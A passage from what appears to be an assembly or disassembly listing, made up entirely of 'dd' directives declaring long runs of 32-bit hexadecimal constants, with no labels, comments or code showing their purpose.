		dd 74B1983Ch, 75070951h, 0B8E87233h, 78F03ECFh,	6F44AC9Eh
		dd 20FA1347h, 16EF5BA6h, 37644100h, 873BFB48h, 9DD4035Ch
		dd 29D66284h, 0AC42F6A8h, 0A489BB4Eh, 395FD0ECh, 0EB05CA6Fh
		dd 0CD86667Fh, 0F546EC84h, 130E61EEh, 5D5B203h,	5C88AC92h
		dd 4D8726Bh, 96B1FFAFh,	0F988B479h, 0BC5D2BEFh,	3D05389h
		dd 0C2F3B35Ch, 50C645Bh, 0C0132901h, 0D5FD00DAh, 0BC3D941Ch
		dd 271E2F07h, 0A337E103h, 4400A079h, 752C1AEh, 63C71A2Dh
		dd 78A7A095h, 0A10F33E4h, 834CF8DEh, 0C9B82A9Ah, 0EC2042AAh
		dd 404C9CBBh, 290A971Ch, 1A189C72h, 2C3068D6h, 0BFB102DBh
		dd 2264D524h, 5348C4C0h, 0AC88FD5Bh, 0C0A84CFAh, 40F08992h
		dd 0D294B959h, 0B5A0FA05h, 0A0CCE424h, 1349B03Dh, 0EB7721h
		dd 0E4DAC8B9h, 0D404D644h, 654FFA0Ch, 5569D0C0h, 0D062F329h
		dd 0B8F7AB01h, 0DC020441h, 0DA38EBDFh, 0A2340288h, 0C0A910CBh
		dd 9666F770h, 0E09940E0h, 2B7387E1h, 1E09F300h,	0E5FA57D1h
		dd 0A3BF0AA4h, 80F83C52h, 0CE124770h, 952C9C36h, 0EBD34ADh
		dd 67CDE9C5h, 25E0FEFFh, 58AF01B2h, 9616E0B7h, 1B8E2D0h
		dd 1EF10692h, 8033F781h, 1C106007h, 70DAD754h, 704D2041h
		dd 1D4EB200h, 347A472Ah, 0B49095E3h, 5B01FC7Eh,	54996502h
		dd 0E4DE5F47h, 0AF7101E4h, 27E2A346h, 0FEE5C091h, 57894502h
		dd 40C930CDh, 74521A94h, 0BE0107A1h, 0FB7CB46Bh, 8E00A444h
		dd 84320A60h, 0EB703Eh,	207E2FDDh, 72E25AA4h, 0C8656B09h
		dd 0FD14829Fh, 0A93221C6h, 99478E8h, 0ACCA402h,	0B82834E4h
		dd 38D19344h, 5600DEFBh, 0BA410EBBh, 0A8010BF6h, 0D049FED8h
		dd 30DDCEE6h, 48B7DBF8h, 9E0809h, 3AE7F050h, 0AF00B677h
		dd 0F196B445h, 0AEFD63h, 0FA1D1341h, 0F9A2552Ah, 48A0D022h
		dd 183070D3h, 0F387C5F8h, 231EC201h, 0D1F99E3Fh, 5A275C7Dh
		dd 2F528C20h, 6F138B12h, 3409ABEDh, 0A03607AEh,	0F33FD070h
		dd 0CD8F0227h, 955DB148h, 6619C74h, 0BC7D346Ch,	0F425B300h
		dd 0D7781E14h, 3BEDA400h, 911F7048h, 0B0D4277Ah, 0CD60F02Fh
		dd 0BBF5FFCAh, 535DA000h, 7955BC14h, 0FAB1172Ch, 0E6AC4133h
		dd 62D84F7Bh, 2ED40424h, 64C0F5D7h, 1306A96Dh, 20AF62D9h
		dd 8D17C7B8h, 713B5C00h, 23D6DA56h, 7440045h, 8662547Bh
		dd 0F9275B80h, 0AD2C18A9h, 4B962F78h, 54001892h, 0FCFE19Dh
		dd 1BE37200h, 25997B89h, 86EB01A7h, 6BD9D4A2h, 0FA7C6049h
		dd 610066E4h, 0C9F177E2h, 32457Fh, 0A6549F63h, 81109018h
		dd 0C24B7900h, 0AA016017h, 912900D1h, 0DC28F65Fh, 5C74FDC0h
		dd 8E36403h, 0D91011h, 0CE030D31h, 0AA8D3AF6h, 620F890Eh
		dd 36405D21h, 1BE6BA5Fh, 99625F0h, 0A452B3E0h, 0CE695Ch
		dd 41CC7279h, 16B612Ah,	8EAAFC12h, 0B84E13CBh, 586AD821h
		dd 105E305Eh, 3AF4744Bh, 57050A15h, 0F591A9h, 6A732944h
		dd 3003E018h, 0F7CDED03h, 1C49032Eh, 80FACB62h,	57481118h
		dd 0F82BF851h, 0D62700BCh, 9222BA37h, 0AF50A5E6h, 4E634698h
		dd 90E8FA29h, 7768E59h,	4924CB2Dh, 0A15750CDh, 280134BAh
		dd 35D99E02h, 8AE01CB8h, 19F1005Eh, 3870874Ah, 333A1B0Ch
		dd 3F8083D5h, 396F4281h, 76860AB9h, 10AFF172h, 813E7C03h
		dd 8B474183h, 0E6810E49h, 0B07E1675h, 2EB514FAh, 0A801C675h
		dd 736B4282h, 418092F1h, 2FD82DF8h, 11303338h, 0A44D69DAh
		dd 752C0F53h, 13402B9Dh, 5E7D78B1h, 0A33EFC00h,	0FAAF3430h
		dd 8F1006D5h, 5181398Eh, 68166C00h, 5AE0C715h, 76630627h
		dd 2180E48Bh, 0FBF6F903h
		dd 0A0057559h, 604757B2h, 1F9DB95Ah, 0F01C367h,	6273F2ACh
		dd 39807F39h, 15F1FE20h, 0C10077EFh, 0A2EC0CB2h, 71D9BFh
		dd 2CC7E69Bh, 0BC97F1D0h, 4870D0h, 0B4AC038Eh, 0FE5A57EEh
		dd 0ECEC547Bh, 0A9870C4Bh, 3116AA3h, 2A26560Eh,	0A1C843EAh
		dd 0BC193E6Dh, 9DF65D00h, 16025E88h, 806339C8h,	464C6518h
		dd 8A707E90h, 94D81D1Fh, 0F036182h, 3B6044A1h, 0F380EA45h
		dd 3BE68246h, 0CE5411E8h, 9A0072B8h, 74F23640h,	95D52Bh
		dd 52C8B48Dh, 31835BA5h, 0F506347Bh, 54E6761Ah,	587334C1h
		dd 40E40041h, 8C746111h, 82006090h, 0BEF17BFAh,	305AF74Ah
		dd 66893CA4h, 0D87FD527h, 0A359500h, 88A3B3CFh,	543C0085h
		dd 0E4B04597h, 873D6F38h, 0F6EF00F5h, 84944ACEh, 497216h
		dd 0CB40D577h, 259ED2FCh, 0C31C2A78h, 4340AA53h, 4AEC2FE6h
		dd 3179617Dh, 0FD06939Ah, 0C305D03Bh, 0AD565F06h, 217C19h
		dd 3013AC55h, 0F07ECAECh, 3C66C002h, 3BF7E6h, 14CB2568h
		dd 0A63080E9h, 82FAB886h, 94264C0Dh, 2FE31960h,	0F86031C1h
		dd 6DFAD11h, 9B8E3963h,	86D4E500h, 3AB43893h, 9802607Ch
		dd 3BCEEEFCh, 96D6E0FDh, 4D470C11h, 1599D37Fh, 62812560h
		dd 0ECEBCDFh, 6538F954h, 591A1740h, 91008786h, 0DDA4EEBh
		dd 0D1B86Dh, 3DCE9D3Fh,	4A9F78B4h, 0A98240DCh, 0AF13F5E3h
		dd 0B1009168h, 0C0FB6E34h, 0FD06B888h, 583E267Bh, 159E0021h
		dd 8EA2CB94h, 60027D45h, 1B2A8317h, 0FC98046h, 307A698h
		dd 0B69ECF56h, 0D8069B37h, 11FEE3A8h, 20B90771h, 7022A798h
		dd 79EEE06Ch, 2115D818h, 33DD921h, 6AA52A1Bh, 0CCB0A7A0h
		dd 0EF026BA6h, 0FCD5498Fh, 0DFD8983Ch, 0C62B00D9h, 44DB1D42h
		dd 88149FABh, 3851E3h, 0FCC99D66h, 0C0F930CCh, 265C09E9h
		dd 91064AE1h, 77196E37h, 86A80051h, 14765AABh, 0D0071C5h
		dd 2F01A37Eh, 0C0FE30F2h, 0A0817241h, 0A4726E99h, 8729D179h
		dd 0E00094DBh, 74EC2CC1h, 0DD310F96h, 2B4008F3h, 0A53F8807h
		dd 16124D14h, 8AF987E8h, 6B8AC50h, 76471E3Ch, 0A43D8064h
		dd 0FAA7E3E4h, 783FCE06h, 3614492h, 0A23969C3h,	23CBCF99h
		dd 83204900h, 41214F5Ch, 22F495h, 0CDBC1CA4h, 0CFC729FDh
		dd 0C1FC3030h, 168EDA52h, 0BC2A0Bh, 34FD7FEBh, 7003F2DDh
		dd 2850C243h, 906FA0BBh, 7967126h, 7F9A0513h, 27FA800Fh
		dd 994835FBh, 9FE21474h, 0E073CFC8h, 4B8E78BDh,	0A2B20112h
		dd 0FFE38444h, 986D101Fh, 0A48800B3h, 0F5119431h, 0DA00CA3Fh
		dd 0FE9B39B9h, 78F6A8C6h, 0B6F2009Ah, 0CC3EA48Fh, 73FCBCEAh
		dd 9E785200h, 4DB3B77Fh, 79836C75h, 96050630h, 0B6A83C24h
		dd 0A8489808h, 0DDA70140h, 26127FC3h, 0CC22C5h,	0F4840691h
		dd 4825CE10h, 0C894E0C4h, 63FBE501h, 0EC331965h, 0D7F2D5E8h
		dd 0C8413F00h, 52261720h, 25931457h, 96281CCFh,	91A30093h
		dd 0FEECD80Eh, 5761DB72h, 3F6C2B89h, 0A53F4h, 37BB9095h
		dd 0D1B31202h, 61BCC500h, 9ED09A5Ch, 0DCA14988h, 9C1D1615h
		dd 1A300071h, 9870D15Bh, 0C507E5FEh, 48ADA8B7h,	4FDB7BB1h
		dd 1F636980h, 6A011188h, 8CD8E509h, 109480E7h, 4939BA6h
		dd 0B09DA009h, 27FD833Ch, 55DD6100h, 1BD33FBEh,	75FD0037h
		dd 0B60AC782h, 0EE50534Dh, 2D053AFCh, 0F07C9880h, 6D310A80h
		dd 3CB00B6h, 0D1E8D97Eh, 0C06FBFDh, 0A825DF19h,	0FFC500A8h
		dd 9914E9CCh, 0B339A1A4h, 3988609Ah, 60C44B77h,	6AE1B955h
		dd 0ED002445h, 0B9F73473h, 14FACE4h, 0BA50DD37h, 89C15D25h
		dd 84136B90h, 0F522E2B8h, 0CA259490h, 0B60651DFh, 1893C2Ah
		dd 9F1083E6h, 8095B0D4h, 2F7E0680h, 7807CBBDh, 91C20369h
		dd 530C9723h, 921DB2D7h, 11559098h, 80262539h, 3AC7EB37h
		dd 7CD78AB2h, 8FBA0193h, 78A4AE57h, 23C44998h, 2A450038h
		dd 293CA86Ah, 0CC0406D2h, 294CA578h, 7B584390h,	10BA8968h
		dd 3A6FC35Ch, 98602D97h, 187EF5D0h, 0BAC7B0DDh,	9970FA59h
		dd 0A0B646F9h, 39680B4h, 7FAB6319h, 0C7D1BDBBh,	2354204Dh
		dd 1D939F01h, 563E4383h, 318061BEh, 0E01ED3EAh,	405B07Ah
		dd 2C44AA32h, 0F9A8D801h, 40966CE7h, 9474102Fh,	143CE612h
		dd 0D12408A4h, 6ABF60A4h, 990C9360h, 909B43B9h,	788403BBh
		dd 8BCBF2D5h, 0C7344000h, 0F7B39E6Bh, 3CD3B0EFh, 68B9B4A8h
		dd 0E033638Ch, 197FE851h, 48BDE301h, 4A991CD9h,	198814E4h
		dd 0C162DBA3h, 82FBFCA7h, 7660E303h, 99ED2693h,	0E021D272h
		dd 1C9C80F6h, 4127EB3h,	0B1DB96ABh, 51648002h, 0B4A49D77h
		dd 0C06B4A09h, 0A1B090C4h, 0A22105FAh, 438019EAh, 0E68CD7CCh
		dd 4B8B4FB8h, 3EA1B614h, 0C68FE0h, 8E65E3FFh, 3DE20414h
		dd 807BCF63h, 29E99BE2h, 2E4E8B5Ch, 0B6451CD0h,	388214h
		dd 7FE83917h, 16972BC3h, 0E832396h, 33462F9Eh, 9D0031FFh
		dd 1A620F58h, 1C3ADDACh, 93BC4D6Bh, 0E880207Dh,	0A107F1C9h
		dd 0DB4CCAFEh, 299D5D50h, 0C8C101FCh, 46037327h, 0F304300Ah
		dd 1075682Eh, 0C452912h, 8C015F9Ch, 4920162Fh, 35415900h
		dd 0B4F2CC00h, 0A407D78Dh, 0E98000FAh, 6B16EC3h, 772969F9h
		dd 4A0DC8BBh, 0E3E3B179h, 0B030A5A5h, 1701BDBAh, 21DB2A3Dh
		dd 0C40AE444h, 3100D5DFh, 0A3359172h, 41439FEh,	0A12A8F28h
		dd 0D178807Ch, 24631507h, 0B827C951h, 0BB47E9h,	0C333A511h
		dd 0A0D5E050h, 266B7F0Bh, 0A7C499CBh, 482041D1h, 57A203FBh
		dd 0EFA3E4FDh, 6C6194B2h, 2F6092A8h, 4451DC08h,	103F40FBh
		dd 4CD29941h, 24027474h, 93A09AB0h, 8C648C2h, 0D5796D00h
		dd 0AFEEF962h, 693F02CBh, 8BD73206h, 82ABC4E8h,	0CD1103E8h
		dd 6F004B3Eh, 14E0AC11h, 0BE7E4C33h, 9D0DCC1Dh,	40FEC94Eh
		dd 9088A30Ch, 58B4B09Ah, 0FFC0E02Ah, 3837956Eh,	0B277AEE8h
		dd 29938F03h, 0B44ADA3Ah, 2FD03C80h, 96A104A6h,	826CD91Eh
		dd 84517B18h, 0BD4292BAh, 81F9BC08h, 558D5230h,	611CC1D1h
		dd 5122EDB2h, 604688BCh, 0F1F8C3Bh, 3B562Eh, 59DE1402h
		dd 0C9B96A9h, 18153616h, 56052231h, 31C6A1B1h, 0C903000h
		dd 120FB8B7h, 4F1D528h,	0C0A06E84h, 50F7C6D0h, 0A485090h
		dd 31360DE0h, 65F839E1h, 0D8E600A9h, 0E57A3CEAh, 9C045ABBh
		dd 0EB4A26F6h, 30E328C1h, 0EE1D0862h, 0E038C0C7h, 6C8874F2h
		dd 0D1F5AD0Fh, 0A139EC23h, 1E9C3ED4h, 9DC37A00h, 6CABCC3Ch
		dd 0CB52B200h, 0BF8F65BEh, 0AC145C91h, 258CA23Ah, 2E6111C6h
		dd 108D7800h, 0F8D62296h, 0EA330464h, 809038CEh, 60CD5714h
		dd 0FBC15307h, 1D1A829h, 84E48EE1h, 0B4631F1Ah,	9F393FEh
		dd 44007BA7h, 5E22666h,	0CD1961C5h, 1B6FD441h, 0BAF45352h
		dd 0B1FAB2h, 3C2D982Ah,	90AC67BCh, 48522502h, 0E51DB88h
		dd 0BE734F43h, 848B5BF0h, 1E01863Bh, 0B46850CBh, 5E40E170h
		dd 401C4B36h, 863D1E30h, 38009920h, 34966A2Ch, 4A9BE459h
		dd 1209FCFFh, 4410A907h, 0B0A22B4h, 7F6CC135h, 4E903C03h
		dd 0E77795C8h, 0F3280D01h, 0AA97E040h, 24B84860h, 0C5CCCC26h
		dd 2495CEh, 0D09F21C0h,	8CB032D2h, 7FC86244h, 0C161013Fh
		dd 67EA66B3h, 0FB80E7BAh, 350C24AFh, 0C1D21989h, 0EFBF009Ch
		dd 0BB821F8Eh, 9407DAF0h, 0BD55FD43h, 66238932h, 0F0DD00F0h
		dd 9157EE1Bh, 2701B80Fh, 4D6DE163h, 518F7D7Fh, 79094B6Ch
		dd 6FA69810h, 0B3181AFAh, 0C44963DBh, 0D52516A2h, 7C051435h
		dd 7A557180h, 0CF09339Ch
		dd 80D2FB21h, 0C9142E50h, 6C1B054Ch, 8085FDF6h,	0B0A04888h
		dd 875C3348h, 30001ADAh, 7DEA3C8Eh, 0B7A00BAh, 8FB469C3h
		dd 0D0E24FCBh, 79A85B3Dh, 909B8606h, 914E3Eh, 6C7AE6Fh
		dd 0A0328E6Bh, 0B4BC907h, 54100D9Ch, 6CF913Eh, 1910B99Bh
		dd 7500D9D1h, 0BC9F805Ch, 0EA7D902Ch, 14407153h, 0F8ADF9E8h
		dd 874A351Eh, 0E00EBABBh, 0D3A61065h, 0DB99A07h, 1440237Ch
		dd 2EA7F196h, 0C183CC8h, 0A1D10FC7h, 8CA82FE6h,	8F7AA68Bh
		dd 52F9A30Eh, 0C730E019h, 0E59AA9Fh, 0B1FD3499h, 0C2B64C80h
		dd 2511416Ch, 0CA00E430h, 7144F74Bh, 5907EF8Dh,	0CB78403Bh
		dd 0F0B1F491h, 0C6B9BAD7h, 81962244h, 0B8D09A0Eh, 0DDE982D6h
		dd 207C4140h, 0C1DC3030h, 302B0DD8h, 46980E3h, 6D082169h
		dd 500100BEh, 772AB0ABh, 0E4989987h, 84663C28h,	61781930h
		dd 5C9B2Dh, 0A5C7CDDBh,	12D1A2D3h, 4D25511Eh, 50201E12h
		dd 395D0E91h, 0E3009D8Bh, 0EBBD027Ah, 934C3BD8h, 21D70AC0h
		dd 1B82D0BFh, 41CF7E3h,	91948068h, 1A1806B7h, 1151C91Eh
		dd 36BB00CDh, 0B2231DBFh, 0A80019D2h, 0C938DD7Eh, 266C51EFh
		dd 19F459DCh, 734B8E13h, 363200B0h, 884F1BCh, 112902B5h
		dd 26FC1B7h, 94386C60h,	86CA1401h, 0CE25837Ah, 0BC2CF473h
		dd 944009FBh, 2B4E6000h, 7C484D43h, 9CE9809Ch, 3F8F06h
		dd 0BE535967h, 0A5EBFD41h, 0E4227002h, 0C03AB987h, 0E2D536C8h
		dd 0FC3C00E8h, 429C1E7Ch, 0BB2437B8h, 15013C45h, 3E872998h
		dd 4400A02Dh, 71A7B5D3h, 0A1E31D8h, 0B307422Ah,	7550A8D0h
		dd 34789DCCh, 314793h, 0ADFDEB9Ch, 2513A1B3h, 30123BFAh
		dd 4BF7A4CCh, 0CC1001EBh, 609BA25Bh, 3E50AEA4h,	782521F8h
		dd 631411A0h, 8A147439h, 510024DBh, 0D353DA7Bh,	0A45C78CEh
		dd 0EC00D27Ch, 154E25D4h, 35C9152Eh, 0DC011CB1h, 929FE3C0h
		dd 712C431Ch, 317247D8h, 6BEC5EE2h, 9646B800h, 39C85908h
		dd 4BCA08Fh, 31752429h,	2FA4405Ch, 9279C4FEh, 0D15FF903h
		dd 0C8EBD7A9h, 4E52B501h, 5C242302h, 0B0353690h, 0D0293224h
		dd 0E810F65h, 0E4CCA745h, 1C10774h, 1067977Ah, 5FDFB5CFh
		dd 0B32F9A09h, 263986D1h, 1F590039h, 0F09B9836h, 1E002B1Ah
		dd 63E10448h, 59ECA5Fh,	3DE387D0h, 0C940C250h, 0B4258823h
		dd 6019D4B4h, 0A36F1975h, 89026B4Dh, 9DEC7356h,	8C9B8AB9h
		dd 0F7B61E01h, 1080A8C7h, 0FD44FCEBh, 101FE32h,	0B6986C06h
		dd 4081B3A1h, 19A3BCBDh, 0DE5980D4h, 9B38AC61h,	0A970F935h
		dd 0C37100F1h, 702869A9h, 462B003h, 85C42540h, 20001E4Ch
		dd 793E058Dh, 0B9F8007Bh, 5C2068F2h, 2E2FFF2Fh,	27D5458h
		dd 0DB9EC97Dh, 24000C5Ah, 37A7CF77h, 2EE87A2h, 5B11F198h
		dd 0B440B0FBh, 35CE316h, 22B49448h, 0AC9801FAh,	0A3C80BF4h
		dd 0D82DDBh, 482C659Dh,	7F87E963h, 6C220053h, 0C6553B8Eh
		dd 8F17EA52h, 0E8306EBDh, 4C4189E6h, 3C02D0B7h,	0C465CC38h
		dd 6FF05072h, 693DBD00h, 0D078B5Ah, 26EA13A8h, 0FDAC88D1h
		dd 1CB4286h, 0B926BB91h, 942088B3h, 939F0648h, 107DC106h
		dd 0BE2D3313h, 26360480h, 3A16304Bh, 3811E549h,	0CB06A700h
		dd 5B5020D6h, 4C80B83Fh, 9C034CDh, 0DB8202C1h, 2D3CB612h
		dd 0A1552400h, 51C27EC6h, 0E860F17Fh, 40762E33h, 0A3216098h
		dd 11003A8Ah, 1528ED96h, 110C892h, 573159C5h, 23A9CF86h
		dd 616D070Ch, 0EC901167h, 7F13F3h, 2ECC9F17h, 216CE75Bh
		dd 0B1505472h, 962C1DD8h, 9102C815h, 60BDB2BEh,	4051E41Ch
		dd 33503192h, 0F545CCA0h, 0ADE52086h, 3B5C404Eh, 696FC0B8h
		dd 3E3ED57Eh, 7381976Ah, 4C5F7531h, 7C11CC3Ah, 0F827634Ah
		dd 0F5804555h, 7D4B59B0h, 0B99F3C3Ch, 0C1FEC900h, 5C2F6EDCh
		dd 8E36FD01h, 0C398566Dh, 0A740AFDFh, 0A14497h,	969ACEF7h
		dd 6C40B1EEh, 225BC116h, 94393840h, 0F231B3EFh,	141F073h
		dd 0F61AA8B1h, 20B628BFh, 0BC3166F8h, 0D9F9D0ABh, 908DA460h
		dd 0A9E0C0CCh, 4D5CA55Bh, 947A7827h, 2EA82864h,	20FA05F0h
		dd 0A2E3258Dh, 0D71F0198h, 0C481299Eh, 91006029h, 0E21C2F7Fh
		dd 4E691789h, 0FF4EE58h, 0AAF7021Eh, 7F19D5A0h,	0CF6926F0h
		dd 2F880941h, 0D8012118h, 0E4391C27h, 0E95F1903h, 3DB8F879h
		dd 0DB22DA65h, 96073859h, 0F9C53Bh, 10A054D4h, 0FA4D355Dh
		dd 0CB00B5E4h, 8393CC31h, 949677DAh, 593C4054h,	0FC0341F2h
		dd 794AC634h, 20712DCCh, 0DC59D0A0h, 4E000D3Fh,	0F8D46584h
		dd 3A1A712h, 6ABEDF8Ch,	3BF32893h, 78CF60EFh, 61C3509Dh
		dd 0B7E754Ah, 0A86E3851h, 270058C4h, 0CA1C0597h, 198470Ah
		dd 9E462542h, 0F631D350h, 0ACE05920h, 0AB910006h, 0CDA9C4DAh
		dd 0D53863A4h, 89F8B957h, 3F9FA9Fh, 0B17B35D8h,	0B420B385h
		dd 3BD1D18h, 48C49424h,	0C0AB991Eh, 0A86D1A3Eh,	19229EE2h
		dd 4FAD057Ah, 0A3D03D32h, 0FCE317C4h, 5986C891h, 0BA654C20h
		dd 0E8D20004h, 73FAFDD9h, 5417E182h, 0F0D07E4Dh, 5AC9EB9Ah
		dd 0DEC42025h, 0FB0E832Bh, 7E3DF4C7h, 1DB0DCBh,	9D12FA48h
		dd 122F460h, 6957DDFEh,	3CAB6AC3h, 11B383E4h, 9D1B806Dh
		dd 78689068h, 9A7506ECh, 70C49FD5h, 28E45224h, 0C858F991h
		dd 60C11222h, 50D1FD3Eh, 2A80402Ch, 2CE7ABFFh, 7C2F8200h
		dd 8A6497F6h, 3FD679FEh, 0CB80D831h, 46F27E20h,	0D401E9A7h
		dd 73872C7Ch, 6980E733h, 0F5B00407h, 9004066h, 46B22E41h
		dd 0B20E2A6h, 5F9D2264h, 30028C4h, 7AF6FD6Dh, 0E04AE42Bh
		dd 65D6005Bh, 0C5056E0Ah, 854CECACh, 80211FCCh,	66B6AB87h
		dd 82E01E82h, 60385294h, 167723DCh, 90CE2633h, 0C41F7C50h
		dd 0AB0064B1h, 406C283Eh, 258F0D5h, 22A6D235h, 44441ECAh
		dd 6D0AFC00h, 92F2ECB8h, 66E702B5h, 0FAE4EA5Ah,	0F6F4F458h
		dd 0E99F450Eh, 80A1CD6Ch, 0ACA062AFh, 3350FB7Fh, 72E2F504h
		dd 0FC82BC0Dh, 0C81525C5h, 99F65954h, 61C91F00h, 0FC42A7Bh
		dd 0F8210F87h, 0D800CBE6h, 0A4DD4678h, 0F27C0C02h, 0C05B1D93h
		dd 98790354h, 57C84E44h, 0F0E42760h, 0A4BA6407h, 0DA0FC60Eh
		dd 0E0D3A0F6h, 0BA8CEC44h, 0A16B0938h, 1891A078h, 1946231h
		dd 50194D6Eh, 46F865F3h, 0BFAA090Eh, 0F46042F4h, 585A3051h
		dd 91091820h, 67DC0175h, 699A2372h, 0F795E896h,	8F203003h
		dd 0A9A49B27h, 9C7DE8E3h, 97C662Eh, 0F506B9A3h,	0C32D32DFh
		dd 46D82020h, 25BF55h, 28858CBAh, 4F4D234Bh, 624ADA12h
		dd 711FA860h, 1E88A089h, 0CB261030h, 80D288E4h,	7FB85A79h
		dd 9401EFE7h, 0B24DC4A3h, 0D4335B30h, 2F6913h, 0A9D9442Bh
		dd 5CB872AFh, 0C9B51D02h, 7115EF01h, 0D85D0034h, 0C51182A4h
		dd 0F2A2300h, 812FEABFh, 0FDCA3126h, 7029B681h,	7812F627h
		dd 4CB2C725h, 0CE35FC07h, 0C2E64421h, 2024C688h, 19011CADh
		dd 9D8A9218h, 0DA76F4AFh, 0D9F26301h, 0ACFB7C42h, 7FA6F4h
		dd 50C2B666h, 6FC30AC4h, 1703300h, 0A506232Ch, 597C6019h
		dd 0FC53CDE9h, 9BF04400h, 7E9F78A3h, 48E3F298h,	0C580D831h
		dd 72270363h, 2B0C900h,	38CFD41Eh, 0EEF73F0Fh, 154752Eh
		dd 0C4836CBh, 0DE38309Bh, 646E4E2Ch, 0C4961A01h, 61613DEBh
		dd 0A5BF7980h, 0A10FA7F0h, 27D12Fh, 7D9A3EBCh, 0E89933h
		dd 0CE69DF08h, 6A00AA98h, 9DCAC692h, 0D9ED14h, 2953EF9h
		dd 90293685h, 0CE628816h, 121ECC8h, 1A4C07E4h, 0F04233C2h
		dd 0A32D2639h, 73A01013h
		dd 7BBE0002h, 0F62F9B74h, 0EA4BDB67h, 0EA86888h, 0C9EE359Ah
		dd 2D591EECh, 0F4D4EC00h, 87736641h, 7C807CEh, 3228760Ch
		dd 7CDA9877h, 51E63412h, 443E40E4h, 113C2556h, 0F0B6007Ah
		dd 0E78CBCD8h, 0E20903E5h, 0DF947E5Eh, 66D02400h, 0A3B7DC3Ch
		dd 9CCE5419h, 87480028h, 0E2710494h, 184835DEh,	5B660058h
		dd 81E9617Fh, 2986B6C8h, 7A218CC4h, 0CE019760h,	0B996A8A3h
		dd 0B448302Ah, 0BF740035h, 0B12214Eh, 10008C19h, 8553305Ah
		dd 39E7764h, 0B10DC776h, 0D1002C16h, 0E348CF39h, 1745E9C9h
		dd 217A09h, 0B97B743Ah,	0C802E1B5h, 0ED13FE1Ch,	67C8400Dh
		dd 0D4884CDDh, 895F7702h, 0A8C41E56h, 0AF058604h, 98B37590h
		dd 969ECF02h, 0AC8B4637h, 0A00B466h, 6463F9E9h,	131CCE7Ah
		dd 309714FCh, 56E006D4h, 54CBE00h, 302E9918h, 52D5007Bh
		dd 263EC835h, 0E1053C9Dh, 32CE6E86h, 9001E8B2h,	940C31BEh
		dd 0F4E060A0h, 0F6E3890Bh, 71F4A977h, 2EE70014h, 3F2B69C9h
		dd 0ED00EC76h, 4EB3EBFDh, 16BFE3A0h, 12D5075h, 8687DD31h
		dd 80E02861h, 0F532D9A5h, 0C4DF007Dh, 93B924EEh, 0FB005BE6h
		dd 37E840B7h, 62F9E332h, 3063990Bh, 0A77614F2h,	801F543Dh
		dd 0C05D7B5Fh, 28B9D51h, 57E11419h, 2C6186C9h, 0B89110F8h
		dd 0DEB000A9h, 0B50B9CECh, 0A8175FE8h, 54C8966Ah, 7EB0E027h
		dd 0C474006Ch, 54724F3h, 2E7FCF53h, 0D808BA4Fh,	828D8011h
		dd 0D4EDFEA6h, 58248002h, 9252E3A1h, 1FE88EA4h,	6FC25907h
		dd 60C927B2h, 21D9671h,	3DC5F647h, 78E419A1h, 62F00900h
		dd 719E847Bh, 0E59B000Fh, 0A8EBCD8Ch, 829510B4h, 0C08D78A8h
		dd 371062Bh, 256DE861h,	0E9120EE2h, 0C0D019B6h,	0BC6735h
		dd 982C2EE1h, 5FC6B0BDh, 80E98B00h, 0AB42C907h,	83160091h
		dd 66940B14h, 40947F4Dh, 0A3B38880h, 4C8DA1CBh,	351988D0h
		dd 28A080A8h, 0FFE38410h, 4DCCF089h, 0AC10B491h, 19A202B4h
		dd 5CDADB8Eh, 0E2351000h, 0E5D3B776h, 4520085h,	91C2B0DCh
		dd 0BA581EC4h, 49B911BCh, 0BE3B2858h, 2200C2BAh, 8EE4239Ch
		dd 0E3164495h, 1008CC2Fh, 83938F84h, 8819CFC4h,	23C56D0h
		dd 9EDF875Ch, 2EA00D42h, 0C7C135Bh, 0B87696FDh,	86F0C078h
		dd 939BCF0Bh, 0D4678036h, 25D9DAB2h, 0D4C0F46Dh, 155C50A8h
		dd 0C7E8060h, 42E1737h,	257DF6F0h, 0B74B3C5h, 76CC269h
		dd 474040AAh, 0AFF143h,	70E0D09Bh, 5241CCFCh, 0FDFE3109h
		dd 82D898B0h, 90AB00F3h, 40D11586h, 771265DBh, 20015F55h
		dd 794A220Dh, 0E90CF063h, 38B88E1Bh, 25B34F14h,	988969C7h
		dd 1F5E4A34h, 0C1EF558Dh, 0AF2491C3h, 83C43CA1h, 0E85EC022h
		dd 0B712099h, 40B09091h, 6BF29898h, 0FE5E4501h,	0FD57D87Bh
		dd 9AA3C0F7h, 0F0996940h, 0FC1E6E07h, 2107D831h, 603B4E1Ch
		dd 3E1F2C0h, 0D7D100FBh, 78B074C3h, 0F0A8469Eh,	92F03CCEh
		dd 98115B69h, 473D23Ch,	78B6FA8Ch, 9E30E493h, 0E2001490h
		dd 0B8B4AAAEh, 303E62FEh, 4921C625h, 0C14CFCC8h, 362F0C3Fh
		dd 78290872h, 60FA589Eh, 0F2CD2585h, 2C2D12F0h,	1BD340Bh
		dd 0CA3421E0h, 7810109Eh, 0E1AFB712h, 0C8D2FC68h, 29A85100h
		dd 0CCFDDEA9h, 1660495h, 0A2555227h, 8C18005Ch,	0A84BA5C8h
		dd 0D5C60111h, 928BB5C7h, 838A40BFh, 8F4C661Ch,	0D690CCA4h
		dd 382A00F3h, 0E845B841h, 0BD003F86h, 0D1AF7D19h, 9E99BB6h
		dd 0A4781C23h, 0B339B8C4h, 8BFA0265h, 0E06AC038h, 17D1C33Ch
		dd 12B9D67h, 4D44E07Ch,	22A47360h, 0A6520022h, 5FFEEE8Eh
		dd 0A00D64Ch, 0E3D72F3h, 56836CCh, 0E9A0C573h, 0D0E2B5h
		dd 0A580853Ch, 0EC2D0B1Eh, 7192980Ch, 0D5740A8Bh, 25F01BE4h
		dd 7A00B045h, 0FC32AB2Ah, 1E8CA164h, 0C7005022h, 2D428183h
		dd 0CC097299h, 1030B3A3h, 0AF5364h, 19FCFA82h, 0BD362E8h
		dd 41C01A9Fh, 6826C34Ch, 0D8CB4607h, 8604C23Ch,	0FC93BC41h
		dd 145C6471h, 0CC4F4E0Bh, 73DA2080h, 0F43226Ah,	0FF899230h
		dd 0B91AF21h, 0CB3A31FDh, 7D5A1FB0h, 0DB86B30Ch, 24D94Dh
		dd 81CA06EEh, 0DC318E9Ch, 0DB6CA300h, 0E2433BC8h, 9AEE003Fh
		dd 0B4B70593h, 0CA012AA4h, 0CE1DE301h, 0C33B34F7h, 0B4BD268Fh
		dd 0A09119ECh, 0F0690400h, 0A9BDBB3h, 0EBEA992Bh, 940D63A4h
		dd 7FD3A9F0h, 0DD299604h, 68002C15h, 0CA41F854h, 0B6BED8F1h
		dd 0BD1D8E03h, 912D8D4Ah, 80C63118h, 0F5CAEB24h, 0AE9B00BFh
